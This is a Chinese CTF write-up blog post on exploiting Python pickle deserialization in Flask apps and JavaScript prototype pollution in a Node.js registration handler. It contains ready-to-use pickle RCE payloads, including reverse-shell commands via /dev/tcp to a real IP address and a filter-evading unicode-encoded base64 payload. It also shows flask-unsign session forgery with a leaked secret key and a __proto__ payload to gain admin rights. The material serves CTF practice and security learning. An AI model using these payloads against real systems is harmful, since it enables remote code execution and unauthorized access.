CTF pickle,nodejs例题

pickle

常用payload(没有os模块)

import pickle
import base64
 
class A(object):
    def __reduce__(self):
        return (eval, ("__import__('os').popen('tac /flag').read()",))
    
a = A()
a = pickle.dumps(a)
print(base64.b64encode(a))

环境有os模块

import pickle
import os
import base64

class aaa():
    def __reduce__(self):
        return(os.system,('bash -c "bash -i >& /dev/tcp/ip/port 0>&1"',))

a= aaa()

payload=pickle.dumps(a)

payload=base64.b64encode(payload)
print(payload)

#注意payloads生成的shell脚本需要在目标机器操作系统上执行,否则会报错

所以最好所有poc在linux上生成

例题

1.[HFCTF 2021 Final]easyflask

[https://buuoj.cn/challenges#[HFCTF%202021%20Final]easyflask](https://buuoj.cn/challenges#[HFCTF 2021 Final]easyflask)

非预期(任意文件读取)

image-20240325085226157

直接读环境变量/proc/1/environ

image-20240325085331374

预期解

app源码

#!/usr/bin/python3.6
import os
import pickle

from base64 import b64decode
from flask import Flask, request, render_template, session

app = Flask(__name__)
app.config["SECRET_KEY"] = "*******"

User = type('User', (object,), {
    'uname': 'test',
    'is_admin': 0,
    '__repr__': lambda o: o.uname,
})


@app.route('/', methods=('GET',))
def index_handler():
    if not session.get('u'):
        u = pickle.dumps(User())
        session['u'] = u
    return "/file?file=index.js"


@app.route('/file', methods=('GET',))
def file_handler():
    path = request.args.get('file')
    path = os.path.join('static', path)
    if not os.path.exists(path) or os.path.isdir(path) \
            or '.py' in path or '.sh' in path or '..' in path or "flag" in path:
        return 'disallowed'

    with open(path, 'r') as fp:
        content = fp.read()
    return content


@app.route('/admin', methods=('GET',))
def admin_handler():
    try:
        u = session.get('u')
        if isinstance(u, dict):
            u = b64decode(u.get('b'))
        u = pickle.loads(u)
    except Exception:
        return 'uhh?'

    if u.is_admin == 1:
        return 'welcome, admin'
    else:
        return 'who are you?'


if __name__ == '__main__':
    app.run('0.0.0.0', port=80, debug=False)

直接读环境变量/proc/1/environ

发现 secret_key=glzjin22948575858jfjfjufirijidjitg3uiiuuh

可以直接伪造secret_key

image-20240325092958651

漏洞代码

@app.route('/admin', methods=('GET',))
def admin_handler():
    try:
        u = session.get('u')
        if isinstance(u, dict):
            u = b64decode(u.get('b'))
        u = pickle.loads(u)
    except Exception:
        return 'uhh?'

伪造session实现 读取 u 中的 b值

对b中的值进行反序列化,可以直接触发RCE

>flask-unsign --sign --cookie "{'u':{'b':'payload'}}" --secret "glzjin22948575858jfjfjufirijidjitg3uiiuuh"

在linux系统下运行

import os
import pickle
import base64
User = type('User', (object,), {
    'uname': 'test',
    'is_admin': 0,
    '__repr__': lambda o: o.uname,
    '__reduce__': lambda o: (os.system, ('bash -c "bash -i >& /dev/tcp/148.135.82.190/8888 0>&1"',))
})
user=pickle.dumps(User())
print(base64.b64encode(user).decode())

生成后伪造

image-20240325093400538

用hackerbar发cookie触发

image-20240325093456429

可以反弹shell

2.[MTCTF 2022]easypickle

当时题目环境给了源码的

import base64
import pickle
from flask import Flask, session
import os
import random

app = Flask(__name__)
app.config['SECRET_KEY'] = os.urandom(2).hex()

@app.route('/')
def hello_world():
    if not session.get('user'):
        session['user'] = ''.join(random.choices("admin", k=5))
    return 'Hello {}!'.format(session['user'])


@app.route('/admin')
def admin():
    if session.get('user') != "admin":
        return f"<script>alert('Access Denied');window.location.href='/'</script>"
    else:
        try:
            a = base64.b64decode(session.get('ser_data')).replace(b"builtin", b"BuIltIn").replace(b"os", b"Os").replace(b"bytes", b"Bytes")
            if b'R' in a or b'i' in a or b'o' in a or b'b' in a:
                raise pickle.UnpicklingError("R i o b is forbidden")
            pickle.loads(base64.b64decode(session.get('ser_data')))
            return "ok"
        except:
            return "error!"


if __name__ == '__main__':
    app.run(host='0.0.0.0', port=8888)

decode一下session

image-20240325193053142

os.urandom(2).hex() 爆破session

image-20240326084806581

爆破密钥为 dabe

构造类似的payload{'user':'admin','ser_data':'payload'}

漏洞代码

@app.route('/admin')
def admin():
    if session.get('user') != "admin":
        return f"<script>alert('Access Denied');window.location.href='/'</script>"
    else:
        try:
            a = base64.b64decode(session.get('ser_data')).replace(b"builtin", b"BuIltIn").replace(b"os", b"Os").replace(b"bytes", b"Bytes")
            if b'R' in a or b'i' in a or b'o' in a or b'b' in a:
                raise pickle.UnpicklingError("R i o b is forbidden")
            pickle.loads(base64.b64decode(session.get('ser_data')))
            return "ok"
        except:
            return "error!"

存在逻辑问题

替换后的 a 进行检查 R i o b 但是实际反序列化是ser_data

因此os中o可以存在,但是单独的o是被禁止的,因为os被替换成Os,但对后续ser_data不影响

bash -c 'sh -i >& /dev/tcp/ip/port 0>&1'环境只有sh

将前面总结的payload改写一下

b'''(S'key1'\nS'val1'\ndS'vul'\n(cos\nsystem\nV\u0062\u0061\u0073\u0068\u0020\u002D\u0063\u0020\u0027\u0073\u0068\u0020\u002D\u0069\u0020\u003E\u0026\u0020\u002F\u0064\u0065\u0076\u002F\u0074\u0063\u0070\u002F\u0031\u0034\u0038\u002E\u0031\u0033\u0035\u002E\u0038\u0032\u002E\u0031\u0039\u0030\u002F\u0038\u0038\u0038\u0038\u0020\u0030\u003E\u0026\u0031\u0027\nos.'''
KFMna2V5MScKUyd2YWwxJwpkUyd2dWwnCihjb3MKc3lzdGVtClZcdTAwNjJcdTAwNjFcdTAwNzNcdTAwNjhcdTAwMjBcdTAwMkRcdTAwNjNcdTAwMjBcdTAwMjdcdTAwNzNcdTAwNjhcdTAwMjBcdTAwMkRcdTAwNjlcdTAwMjBcdTAwM0VcdTAwMjZcdTAwMjBcdTAwMkZcdTAwNjRcdTAwNjVcdTAwNzZcdTAwMkZcdTAwNzRcdTAwNjNcdTAwNzBcdTAwMkZcdTAwMzFcdTAwMzRcdTAwMzhcdTAwMkVcdTAwMzFcdTAwMzNcdTAwMzVcdTAwMkVcdTAwMzhcdTAwMzJcdTAwMkVcdTAwMzFcdTAwMzlcdTAwMzBcdTAwMkZcdTAwMzhcdTAwMzhcdTAwMzhcdTAwMzhcdTAwMjBcdTAwMzBcdTAwM0VcdTAwMjZcdTAwMzFcdTAwMjcKb3Mu

伪造session数据:

{'user':'admin','ser_data':'KFMna2V5MScKUyd2YWwxJwpkUyd2dWwnCihjb3MKc3lzdGVtClZcdTAwNjJcdTAwNjFcdTAwNzNcdTAwNjhcdTAwMjBcdTAwMkRcdTAwNjNcdTAwMjBcdTAwMjdcdTAwNzNcdTAwNjhcdTAwMjBcdTAwMkRcdTAwNjlcdTAwMjBcdTAwM0VcdTAwMjZcdTAwMjBcdTAwMkZcdTAwNjRcdTAwNjVcdTAwNzZcdTAwMkZcdTAwNzRcdTAwNjNcdTAwNzBcdTAwMkZcdTAwMzFcdTAwMzRcdTAwMzhcdTAwMkVcdTAwMzFcdTAwMzNcdTAwMzVcdTAwMkVcdTAwMzhcdTAwMzJcdTAwMkVcdTAwMzFcdTAwMzlcdTAwMzBcdTAwMkZcdTAwMzhcdTAwMzhcdTAwMzhcdTAwMzhcdTAwMjBcdTAwMzBcdTAwM0VcdTAwMjZcdTAwMzFcdTAwMjcKb3Mu'}

易错 flask-unsign --sign --cookie "" 里面就不要用"“包裹了 重要!!!会产生歧义

image-20240326085329272

可以成功反弹shell

node.js

CatCTF 2022 wife

环境参考https://adworld.xctf.org.cn/challenges/list
打开题目
在这里插入图片描述
发现是一个登录界面,给出了注册界面,点击注册界面,可以发现需要一个邀请码在这里插入图片描述
如果没有邀请码的话,我们进去是这个样子在这里插入图片描述
此时如果考虑到JS原型链污染的话,就变得简单了,应该是我们越权拿到管理员权限,从而获取flag,其注册界面源码如下所示(比赛时是黑盒,这里并未给出源码)

app.post('/register', (req, res) => {
    let user = JSON.parse(req.body)
    if (!user.username || !user.password) {
        return res.json({ msg: 'empty username or password', err: true })
    }
    if (users.filter(u => u.username == user.username).length) {
        return res.json({ msg: 'username already exists', err: true })
    }
    if (user.isAdmin && user.inviteCode != INVITE_CODE) {
        user.isAdmin = false
        return res.json({ msg: 'invalid invite code', err: true })
    }
    let newUser = Object.assign({}, baseUser, user)
    users.push(newUser)
    res.json({ msg: 'user created successfully', err: false })
})

我们这里注意到Object.assign方法,他类似之前示例说的clone函数,Object.assign这个方法是可以触发原型链污染的,所以我们这里污染__proto__.isAdmintrue 就可以了。

{"__proto__":{"isAdmin":true}

此时便可越权拿到flag
在这里插入图片描述

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值